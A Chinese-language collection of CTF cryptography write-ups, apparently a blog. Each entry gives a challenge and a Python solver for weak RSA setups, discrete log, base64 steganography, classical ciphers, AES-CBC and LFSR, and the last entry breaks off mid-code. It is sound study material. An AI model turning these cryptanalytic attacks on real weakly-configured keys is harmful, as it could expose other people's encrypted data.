sympy.nextPrime((B!)%A)p=myGetPrime()#A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407#B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596q=myGetPrime()#A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927#B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026r=myGetPrime()n=p*q*r#n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733c=pow(flag,e,n)#e=0x1001#c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428#so,what is the flag? exp: 1234567891011121314151617181920212223242526import sympyimport gmpy2A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026e=0x1001c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733def mydecrypt(A,B): g = 1 for i in range(B+1,A-1): g = g*i % A #这里做一次模运算会减少运算量(细节) return gmpy2.invert(g,A)p=sympy.nextprime(mydecrypt(A1,B1))q=sympy.nextprime(mydecrypt(A2,B2))r=n//p//qphi=(p-1)*(q-1)*(r-1)d=gmpy2.invert(e,phi)flag=gmpy2.powmod(c,d,n)import binasciiprint(binascii.unhexlify(hex(flag)[2:]))#RoarCTF{wm-CongrAtu1ation4-1t4-ju4t-A-bAby-R4A} [NCTF2019]babyRSA123456789101112131415161718from Crypto.Util.number import *from flag import flagdef nextPrime(n): n += 2 if n & 1 else 1 while not isPrime(n): n += 2 return np = getPrime(1024)q = nextPrime(p)n = p * qe = 0x10001d = inverse(e, (p-1) * (q-1))c = pow(bytes_to_long(flag.encode()), e, n)# d = 19275778946037899718035455438175509175723911466127462154506916564101519923603308900331427601983476886255849200332374081996442976307058597390881168155862238533018621944733299208108185814179466844504468163200369996564265921022888670062554504758512453217434777820468049494313818291727050400752551716550403647148197148884408264686846693842118387217753516963449753809860354047619256787869400297858568139700396567519469825398575103885487624463424429913017729585620877168171603444111464692841379661112075123399343270610272287865200880398193573260848268633461983435015031227070217852728240847398084414687146397303110709214913# c = 5382723168073828110696168558294206681757991149022777821127563301413483223874527233300721180839298617076705685041174247415826157096583055069337393987892262764211225227035880754417457056723909135525244957935906902665679777101130111392780237502928656225705262431431953003520093932924375902111280077255205118217436744112064069429678632923259898627997145803892753989255615273140300021040654505901442787810653626524305706316663169341797205752938755590056568986738227803487467274114398257187962140796551136220532809687606867385639367743705527511680719955380746377631156468689844150878381460560990755652899449340045313521804 题目给了c、d、e但没有n,因此需要想办法求出n,具体来说,可以通过ed和phi(n)的关系推导出p、q,再计算n。通过加密算法大体可以知道,p,q是1024位的,因此两者相乘不低于2048位,通过运算可知ed-1为2064位,因此k介于2^15到2^17之间,因此可以在小范围内对k进行遍历。最后,对phi(n)开方的结果比较接近于p、q,可以在这个值附近取质数。 exp: 123456789101112131415161718192021e=0x10001d = 19275778946037899718035455438175509175723911466127462154506916564101519923603308900331427601983476886255849200332374081996442976307058597390881168155862238533018621944733299208108185814179466844504468163200369996564265921022888670062554504758512453217434777820468049494313818291727050400752551716550403647148197148884408264686846693842118387217753516963449753809860354047619256787869400297858568139700396567519469825398575103885487624463424429913017729585620877168171603444111464692841379661112075123399343270610272287865200880398193573260848268633461983435015031227070217852728240847398084414687146397303110709214913c = 5382723168073828110696168558294206681757991149022777821127563301413483223874527233300721180839298617076705685041174247415826157096583055069337393987892262764211225227035880754417457056723909135525244957935906902665679777101130111392780237502928656225705262431431953003520093932924375902111280077255205118217436744112064069429678632923259898627997145803892753989255615273140300021040654505901442787810653626524305706316663169341797205752938755590056568986738227803487467274114398257187962140796551136220532809687606867385639367743705527511680719955380746377631156468689844150878381460560990755652899449340045313521804import sympy.cryptoimport gmpy2e_d_1=e*d-1p=0q=0for k in range(pow(2,15),pow(2,17)): if e_d_1%k==0: p=sympy.prevprime(gmpy2.iroot(e_d_1//k,2)[0]) q=sympy.nextprime(p) if (p-1)*(q-1)*k==e_d_1: breakn=p*qprint(n)m=gmpy2.powmod(c,d,n)print(m)import binasciiprint(binascii.unhexlify(hex(m)[2:]))#NCTF{70u2_nn47h_14_v3ry_gOO0000000d} [WUSTCTF2020]大数计算 12345678910111213import sympypart1 = hex(int(str(sympy.factorial(2020))[:8],10))[2:]print(part1)part2 = hex(int(str(pow(520,1314)+pow(2333,666))[:8]))[2:]print(part2)#宇宙终极问题的为 三个整数的立方根等于42,求三个数#百度得 -80538738812075974,80435758145817515,12602123297335631part3 = hex(int(str(80538738812075974+80435758145817515+12602123297335631)[:8]))[2:]print(part3)part4 = hex((pow(22,2)+36)*1314)[2:]print('wctf2020'+'{'+part1+'-'+part2+'-'+part3+"-"+part4+'}')#wctf2020{24d231f-403cfd3-108db5e-a6d10} [网鼎杯 2020 青龙组]you_raise_me_up12345678910111213#!/usr/bin/env python# -*- coding: utf-8 -*-from Crypto.Util.number import *import randomn = 2 ** 512m = random.randint(2, n-1) | 1c = pow(m, bytes_to_long(flag), n)print 'm = ' + str(m)print 'c = ' + str(c)# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499 离散对数求解问题: 1flag=sympy.discrete_log(2**512,c,m) #可用sympy库下的discrete_log 1234567891011m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499n = 2 ** 512import sympyflag=sympy.discrete_log(2**512,c,m)import binasciiprint(binascii.unhexlify(hex(flag)[2:]))#将答案的十六进制转出来就行print(binascii.a2b_hex(hex(flag)[2:]))#flag{5f95ca93-1594-762d-ed0b-a9139692cb4a} RSA & what题目第一部分求解就是共模攻击,解出来的结果是一串由\\n隔开的base64编码,解码出来不是flag;进一步了解知道是base64隐写。 base64隐写学习:https://blog.csdn.net/xnightmare/article/details/103774379 exp: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394from Crypto.Util.number import*import base64def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)def CMA(n,e1,e2,c1,c2): s = egcd(e1, e2) s1 = s[1] s2 = s[2] if s1<0: s1 = - s1 c1 = inverse(c1, n) elif s2<0: s2 = - s2 c2 = inverse(c2, n) m = pow(c1,s1,n)*pow(c2,s2,n) % n return mf1=open("HUB1")f2=open("HUB2")N=f1.readline()N=f2.readline()e1,e2=f1.readline(),f2.readline()f1.readline()f2.readline()c1,c2=f1.readline(),f2.readline()ans=b''cnt=0while len(c1)!=0: cnt+=1 ans+=long_to_bytes(CMA(int(N),int(e1),int(e2),int(c1),int(c2))) #print(base64.b64decode(temp)) c1,c2=f1.readline(),f2.readline()temp=b''M=b''print(ans)for i in ans: k=long_to_bytes(i) if k==b'\\n':#除去回车分隔符 M+=base64.b64decode(temp) temp=b'' continue temp+=kprint(M)from Crypto.Util.number import*import base64c = b'VEhJUz==\\nRkxBR3==\\nSVN=\\nSElEREVOLo==\\nQ0FO\\nWU9V\\nRklORM==\\nSVT=\\nT1VUP4==\\nRE8=\\nWU9V\\nS05PV9==\\nQkFTRTY0P5==\\nWW91bmdD\\nVEhJTku=\\nWU9V\\nQVJF\\nTk9U\\nVEhBVE==\\nRkFNSUxJQVI=\\nV0lUSO==\\nQkFTRTY0Lh==\\nQmFzZTY0\\naXO=\\nYW==\\nZ3JvdXA=\\nb2b=\\nc2ltaWxhcn==\\nYmluYXJ5LXRvLXRleHR=\\nZW5jb2Rpbme=\\nc2NoZW1lc0==\\ndGhhdD==\\ncmVwcmVzZW50\\nYmluYXJ5\\nZGF0YW==\\naW5=\\nYW6=\\nQVNDSUl=\\nc3RyaW5n\\nZm9ybWF0\\nYnk=\\ndHJhbnNsYXRpbmd=\\naXS=\\naW50b1==\\nYT==\\ncmFkaXgtNjQ=\\ncmVwcmVzZW50YXRpb24u\\nVGhl\\ndGVybc==\\nQmFzZTY0\\nb3JpZ2luYXRlc8==\\nZnJvbd==\\nYY==\\nc3BlY2lmaWN=\\nTUlNRT==\\nY29udGVudI==\\ndHJhbnNmZXI=\\nZW5jb2Rpbmcu\\nVGhl\\ncGFydGljdWxhct==\\nc2V0\\nb2b=\\nNjR=\\nY2hhcmFjdGVyc5==\\nY2hvc2Vu\\ndG+=\\ncmVwcmVzZW50\\ndGhl\\nNjQ=\\ncGxhY2UtdmFsdWVz\\nZm9y\\ndGhl\\nYmFzZd==\\ndmFyaWVz\\nYmV0d2Vlbt==\\naW1wbGVtZW50YXRpb25zLp==\\nVGhl\\nZ2VuZXJhbI==\\nc3RyYXRlZ3n=\\naXO=\\ndG9=\\nY2hvb3Nl\\nNjR=\\nY2hhcmFjdGVyc5==\\ndGhhdA==\\nYXJl\\nYm90aN==\\nbWVtYmVyc5==\\nb2a=\\nYS==\\nc3Vic2V0\\nY29tbW9u\\ndG8=\\nbW9zdM==\\nZW5jb2RpbmdzLA==\\nYW5k\\nYWxzb8==\\ncHJpbnRhYmxlLg==\\nVGhpc9==\\nY29tYmluYXRpb25=\\nbGVhdmVz\\ndGhl\\nZGF0YW==\\ndW5saWtlbHk=\\ndG/=\\nYmV=\\nbW9kaWZpZWS=\\naW5=\\ndHJhbnNpdE==\\ndGhyb3VnaN==\\naW5mb3JtYXRpb26=\\nc3lzdGVtcyw=\\nc3VjaN==\\nYXM=\\nRS1tYWlsLD==\\ndGhhdA==\\nd2VyZQ==\\ndHJhZGl0aW9uYWxseQ==\\nbm90\\nOC1iaXQ=\\nY2xlYW4uWzFd\\nRm9y\\nZXhhbXBsZSw=\\nTUlNRSdz\\nQmFzZTY0\\naW1wbGVtZW50YXRpb24=\\ndXNlcw==\\nQahDWiw=\\nYahDeiw=\\nYW5k\\nMKhDOQ==\\nZm9y\\ndGhl\\nZmlyc3Q=\\nNjI=\\ndmFsdWVzLg==\\nT3RoZXI=\\ndmFyaWF0aW9ucw==\\nc2hhcmU=\\ndGhpcw==\\ncHJvcGVydHk=\\nYnV0\\nZGlmZmVy\\naW4=\\ndGhl\\nc3ltYm9scw==\\nY2hvc2Vu\\nZm9y\\ndGhl\\nbGFzdA==\\ndHdv\\ndmFsdWVzOw==\\nYW4=\\nZXhhbXBsZQ==\\naXM=\\nVVRGLTcu'def get_base64_diff_value(s1, s2): base64chars = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in range(len(s2)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return resdef solve_stego(): line=b'' bin_str='' for i in c: k=long_to_bytes(i) if k==b'\\n': steg_line = line norm_line = base64.b64encode(base64.b64decode(line)) diff = get_base64_diff_value(steg_line, norm_line) print(norm_line) print(steg_line) print(diff) pads_num = steg_line.count(b'=') if diff: print(bin(diff)) bin_str += bin(diff)[2:].zfill(pads_num * 2) #zfill右对齐 else: bin_str += '0' * pads_num * 2 print(goflag(bin_str)) line=b'' continue line+=kdef goflag(bin_str): res_str = '' for i in range(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_strif __name__ == '__main__': solve_stego() [MRCTF2020]babyRSA12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758import sympyimport randomfrom gmpy2 import gcd, invertfrom Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, bytes_to_long, long_to_bytesfrom z3 import *flag = b"MRCTF{xxxx}"base = 65537def GCD(A): B = 1 for i in range(1, len(A)): B = gcd(A[i-1], A[i]) return Bdef gen_p(): P = [0 for i in range(17)] P[0] = getPrime(128) for i in range(1, 17): P[i] = sympy.nextprime(P[i-1])#一连串连续的质数 print("P_p :", P[9]) n = 1 for i in range(17): n *= P[i] p = getPrime(1024) factor = pow(p, base, n) print("P_factor :", factor) return sympy.nextprime(p)def gen_q(): sub_Q = getPrime(1024) Q_1 = getPrime(1024) Q_2 = getPrime(1024) Q = sub_Q ** Q_2 % Q_1 print("Q_1: ", Q_1) print("Q_2: ", Q_2) print("sub_Q: ", sub_Q) return sympy.nextprime(Q)if __name__ == "__main__": _E = base _P = gen_p() _Q = gen_q() assert (gcd(_E, (_P - 1) * (_Q - 1)) == 1) _M = bytes_to_long(flag) _C = pow(_M, _E, _P * _Q) print("Ciphertext = ", _C)'''P_p : 206027926847308612719677572554991143421P_factor : 213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839Q_1: 103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521Q_2: 151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743sub_Q: 168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651Ciphertext = 1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832''' 伪随机数的预测,exp: 123456789101112131415161718192021222324252627282930313233343536from Crypto.Util.number import *import sympyimport gmpy2base = 65537l1 = []P_p = 206027926847308612719677572554991143421for i in range(0,17): l1.append(0)l1[9] = P_pfor i in range(10,17): l1[i] = sympy.nextprime(l1[i-1])for i in range(9): l1[9-i-1] = sympy.prevprime(l1[9-i])print(l1)n = 1phi=1for j in range(17): n *= l1[j] phi*=(l1[j]-1)P_factor = 213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839d = gmpy2.invert(base,phi)p = pow(P_factor,d,n)#加密用的p是下边这个_p = sympy.nextprime(p)Q_1 = 103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521Q_2 = 151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743sub_Q = 168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651Ciphertext = 1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832q = pow(sub_Q,Q_2,Q_1)_q = sympy.nextprime(q)_phi = (_q-1)*(_p-1)_d = gmpy2.invert(base,_phi)print(long_to_bytes(pow(Ciphertext,_d,_p*_q)))#MRCTF{sti11_@_b@by_qu3st10n} [NPUCTF2020]EzRSA12345678910111213141516171819from gmpy2 import lcm , powmod , invert , gcd , mpzfrom Crypto.Util.number import getPrimefrom sympy import nextprimefrom random import randintp = getPrime(1024)q = getPrime(1024)n = p * qgift = lcm(p - 1 , q - 1)#求最小公倍数e = 54722flag = b'NPUCTF{******************}'m = int.from_bytes(flag , 'big')c = powmod(m , e , n)print('n: ' , n)print('gift: ' , gift)print('c: ' , c)#n: 17083941230213489700426636484487738282426471494607098847295335339638177583685457921198569105417734668692072727759139358207667248703952436680183153327606147421932365889983347282046439156176685765143620637107347870401946946501620531665573668068349080410807996582297505889946205052879002028936125315312256470583622913646319779125559691270916064588684997382451412747432722966919513413709987353038375477178385125453567111965259721484997156799355617642131569095810304077131053588483057244340742751804935494087687363416921314041547093118565767609667033859583125275322077617576783247853718516166743858265291135353895239981121#gift: 2135492653776686212553329560560967285303308936825887355911916917454772197960682240149821138177216833586509090969892419775958406087994054585022894165950768427741545736247918410255804894522085720642952579638418483800243368312702566458196708508543635051350999572787188236243275631609875253617015664414032058822919469443284453403064076232765024248435543326597418851751586308514540124571309152787559712950209357825576896132278045112177910266019741013995106579484868768251084453338417115483515132869594712162052362083414163954681306259137057581036657441897428432575924018950961141822554251369262248368899977337886190114104#c: 3738960639194737957667684143565005503596276451617922474669745529299929395507971435311181578387223323429323286927370576955078618335757508161263585164126047545413028829873269342924092339298957635079736446851837414357757312525158356579607212496060244403765822636515347192211817658170822313646743520831977673861869637519843133863288550058359429455052676323196728280408508614527953057214779165450356577820378810467527006377296194102671360302059901897977339728292345132827184227155061326328585640019916328847372295754472832318258636054663091475801235050657401857262960415898483713074139212596685365780269667500271108538319 gift = lcm(p - 1 , q - 1)是解题的关键,p-1和q-1的最小公倍数实际上等于(p-1)*(q-1)除以两者的最大公因数;而p-1和q-1都是偶数(有公因子2),所以(p-1)和(q-1)的乘积等于最小公倍数乘2的倍数,不断尝试发现max公因子为8。 123456789101112131415from gmpy2 import invert,irootfrom Crypto.Util.number import *n=17083941230213489700426636484487738282426471494607098847295335339638177583685457921198569105417734668692072727759139358207667248703952436680183153327606147421932365889983347282046439156176685765143620637107347870401946946501620531665573668068349080410807996582297505889946205052879002028936125315312256470583622913646319779125559691270916064588684997382451412747432722966919513413709987353038375477178385125453567111965259721484997156799355617642131569095810304077131053588483057244340742751804935494087687363416921314041547093118565767609667033859583125275322077617576783247853718516166743858265291135353895239981121gift=2135492653776686212553329560560967285303308936825887355911916917454772197960682240149821138177216833586509090969892419775958406087994054585022894165950768427741545736247918410255804894522085720642952579638418483800243368312702566458196708508543635051350999572787188236243275631609875253617015664414032058822919469443284453403064076232765024248435543326597418851751586308514540124571309152787559712950209357825576896132278045112177910266019741013995106579484868768251084453338417115483515132869594712162052362083414163954681306259137057581036657441897428432575924018950961141822554251369262248368899977337886190114104c=3738960639194737957667684143565005503596276451617922474669745529299929395507971435311181578387223323429323286927370576955078618335757508161263585164126047545413028829873269342924092339298957635079736446851837414357757312525158356579607212496060244403765822636515347192211817658170822313646743520831977673861869637519843133863288550058359429455052676323196728280408508614527953057214779165450356577820378810467527006377296194102671360302059901897977339728292345132827184227155061326328585640019916328847372295754472832318258636054663091475801235050657401857262960415898483713074139212596685365780269667500271108538319e = 54722phi=gift*8e=e//2 #e化简为质数,因为e必须和phi互素d=invert(e,phi)m=pow(c,int(d),n)mm=iroot(m,2)[0]print (long_to_bytes(mm))#NPUCTF{diff1cult_rsa_1s_e@sy} [ACTF新生赛2020]crypto-classic1维吉尼亚密码,先求key再解密: 12345678910111213141516171819202122232425262728import string# 破解keys = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ's1 = 'ACTF's2 = 'SRLU'key = ''for i in range(len(s1)): key += s[(s.find(s2[i]) - s.find(s1[i])) % 26]print(key)# 解密cipher = 'SRLU{LZPL_S_UASHKXUPD_NXYTFTJT}'key = 'SP'# decodetable = string.ascii_uppercaseprint(table)flag = ''for i in range(0, len(cipher)): if cipher[i] == '{': flag += "{" elif cipher[i] == '_': flag += "_" elif cipher[i] == '}': flag += "}" else: flag += table[(table.find(cipher[i]) + 26 - table.find(key[i % len(key)])) % 26]print(flag.lower())#actf{what_a_classical_vigenere} [BJDCTF2020]Polybiuspolypius加密,exp: 123456789101112131415161718192021import itertoolskey = []cipher = "ouauuuoooeeaaiaeauieuooeeiea"for i in itertools.permutations('aeiou', 5): key.append(''.join(i))for now_key in key: solve_c = "" res = "" for now_c in cipher: solve_c += str(now_key.index(now_c)) for i in range(0,len(solve_c),2): now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97 if now_ascii>ord('i'): now_ascii+=1 res += chr(now_ascii) if "flag" in res: print (now_key,res) #uoaei flagispolybius [MRCTF2020]Easy_RSA总结经验两点: 1.z3库可用来解rsa的p、q联立的方程 2.ed-1//n和ed-1//phi非常接近,通常只差1或者2 exp: 12345678910111213141516171819202122232425262728293031323334353637383940414243from z3 import *import sympyimport gmpy2from Crypto.Util.number import long_to_bytesP_n = 14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024336556028267742021320891681762543660468484018686865891073110757394154024833552558863671537491089957038648328973790692356014778420333896705595252711514117478072828880198506187667924020260600124717243067420876363980538994101929437978668709128652587073901337310278665778299513763593234951137512120572797739181693P_F_n = 14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024099427363967321110127562039879018616082926935567951378185280882426903064598376668106616694623540074057210432790309571018778281723710994930151635857933293394780142192586806292968028305922173313521186946635709194350912242693822450297748434301924950358561859804256788098033426537956252964976682327991427626735740Q_n = 20714298338160449749545360743688018842877274054540852096459485283936802341271363766157976112525034004319938054034934880860956966585051684483662535780621673316774842614701726445870630109196016676725183412879870463432277629916669130494040403733295593655306104176367902352484367520262917943100467697540593925707162162616635533550262718808746254599456286578409187895171015796991910123804529825519519278388910483133813330902530160448972926096083990208243274548561238253002789474920730760001104048093295680593033327818821255300893423412192265814418546134015557579236219461780344469127987669565138930308525189944897421753947Q_E_D = 100772079222298134586116156850742817855408127716962891929259868746672572602333918958075582671752493618259518286336122772703330183037221105058298653490794337885098499073583821832532798309513538383175233429533467348390389323225198805294950484802068148590902907221150968539067980432831310376368202773212266320112670699737501054831646286585142281419237572222713975646843555024731855688573834108711874406149540078253774349708158063055754932812675786123700768288048445326199880983717504538825498103789304873682191053050366806825802602658674268440844577955499368404019114913934477160428428662847012289516655310680119638600315228284298935201Ciphertext = 40855937355228438525361161524441274634175356845950884889338630813182607485910094677909779126550263304194796000904384775495000943424070396334435810126536165332565417336797036611773382728344687175253081047586602838685027428292621557914514629024324794275772522013126464926990620140406412999485728750385876868115091735425577555027394033416643032644774339644654011686716639760512353355719065795222201167219831780961308225780478482467294410828543488412258764446494815238766185728454416691898859462532083437213793104823759147317613637881419787581920745151430394526712790608442960106537539121880514269830696341737507717448946962021#getpsum_pq = P_n - P_F_n +1p1 = Int("p")q1 = Int("q")#solve(p1*q1 == P_n,p1+q1 == sum_pq)p_1 = 118153578345562250550767057731385782963063734586321112579869747650001448473633860305142281504862521928246520876300707405515141444727550839066835195905927281903880307860942630322499106164191736174201506457157272220802515607939618476716593888428832962374494147723577980992661629254713116923690067827155668889571q_1 = 118975085954858660642562584152139261422493348532593400307960127317249511761542030451912561362687361053191375307180413931721355251895350936376781657674896801388806379750757264377396608174235075021854614328009897408824235800167369204203680938298803752964983358298299699273425596382268869237139724754214443556383factor2 = 2021 * p_1 + 2020 * q_1p = sympy.nextprime(factor2)#getqk = (Q_E_D-1)//Q_nQ_F_n = (Q_E_D-1)//(k+1)print((k+1)*Q_F_n == Q_E_D-1)#验证Q_E_D-1除以k+1是否等于p*qsum_qp = Q_n - Q_F_n +1p2 = Int("p")q2 = Int("q")# solve(p2*q2 == Q_n,p2+q2 == sum_qp)p_2 = 120538849514661970159855851547577637711900368732462953774738483480759950867244867240401273864984981385806453735655967797329769252143125966966236767391995563418243748302685348336642872306042286401427581501609713577329945760930395130411743322595026287853073310150103535873078436896035943385067893062698858976291q_2 = 171847486694659608706336923173786708071603689972942289760669690002615525263534483261477699540482615520223300780778172120221008417518590133753701145591943840552802072474293556608389677806415392384924913911677288126066245025731416399656855625839288752326267741979436855441260177305707529456715625062080892327017factor1 = 2021 * p_2 - 2020 * q_2print(-factor1)q = sympy.nextprime(-factor1)print(p)print(q)#flage = 65537phi = (p-1)*(q-1)n = p*qd = gmpy2.invert(e,phi)print(long_to_bytes(pow(Ciphertext,d,n)))#MRCTF{Ju3t_@_31mp13_que3t10n} [ACTF2020]crypto-aes12345678910111213from Cryptodome.Cipher import AESfrom Crypto.Util.number import *xor = 91144196586662942563895769614300232343026691029427747065707381728622849079757c = b'\\x8c-\\xcd\\xde\\xa7\\xe9\\x7f.b\\x8aKs\\xf1\\xba\\xc75\\xc4d\\x13\\x07\\xac\\xa4&\\xd6\\x91\\xfe\\xf3\\x14\\x10|\\xf8p'out = long_to_bytes(xor)key = out[:16]*2print(key)iv = bytes_to_long(key[:16]) ^ bytes_to_long(out[16:])aes=AES.new(key,AES.MODE_CBC,long_to_bytes(iv))flag = aes.decrypt(c)print(flag)#actf{W0W_y0u_can_so1v3_AES_now!} [UTCTF2020]hill希尔密码,直接去爆破逆矩阵就行了。 12345678910111213141516171819import strings='wznqcaduqopfkqnwofDbzgeu'flag_pre='utflag'def getit(a1,b1,c1,a2,b2,c2,a3,b3,c3): for i in range(26): for j in range(26): if (a1 * i + b1 * j) % 26 == c1 and (a2 * i + b2 * j) % 26 == c2 and (a3 * i+b3*j) % 26 == c3: return (i,j)x1=getit(22,25,20,13,16,5,2,0,0)print(x1)x2=getit(22,25,19,13,16,11,2,0,6)print(x2)flag=''for i in range(0, len(s),2): flag+=string.ascii_letters[(x1[0]*string.ascii_letters.index(s[i])+x1[1]*string.ascii_letters.index(s[i+1]))%26] flag+=string.ascii_letters[(x2[0]*string.ascii_letters.index(s[i])+x2[1]*string.ascii_letters.index(s[i+1]))%26]print(flag)#utflag{d4nger0us_c1pherText_qq} 将大小写,数字等补回去 [NPUCTF2020]认清形势,建立信心12345678910111213141516171819202122from Crypto.Util.number import *from gmpy2 import *from secret import flagp = getPrime(25)e = # Hiddenq = getPrime(25)n = p * qm = bytes_to_long(flag.strip(b"npuctf{").strip(b"}"))c = pow(m, e, n)print(c)print(pow(2, e, n))print(pow(4, e, n))print(pow(8, e, n))'''169169912654178128509160179202518818742414340358553002064450''' exp: 12345678910111213141516c=169169912654178a1=128509160179202a2=518818742414340a3=358553002064450import gmpy2print(gmpy2.gcd(a1**2-a2,a1*a2-a3))#gcd(a1**2-a2,a1*a2-a3)就为n的k倍,这个数很小,拿去大数分解p=18195301q=28977097n=p*qimport sympye=sympy.discrete_log(n,a1,2)d=gmpy2.invert(e,(p-1)*(q-1))import Crypto.Util.numberprint(Crypto.Util.number.long_to_bytes(gmpy2.powmod(c,d,n)))#flag{345y!} [AFCTF2018]Tiny LFSR只需要异或求出key就可以利用lfsr序列进行解密,不需要逆推反馈移位寄存器。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748with open("cipher.txt","rb") as ff: key_or = ff.readline()with open("Plain.txt","r") as p: plain = p.readline()key_or = key_or[:len(key_or)-2]print(key_or)print(len(key_or))print(len(plain))key = ''for i in range(len(key_or)): print(hex((key_or[i] ^ ord(plain[i])))[2:],end='')#按一个字节存储的时候,大小端储存的结果一样import os,sysos.chdir(sys.path[0])key = '0123456789abcdef'R = int(key,16)mask = 0b1101100000000000000000000000000000000000000000000000000000000000def lfsr(R, mask): output = (R << 1) & 0xffffffffffffffff i=(R&mask)&0xffffffffffffffff 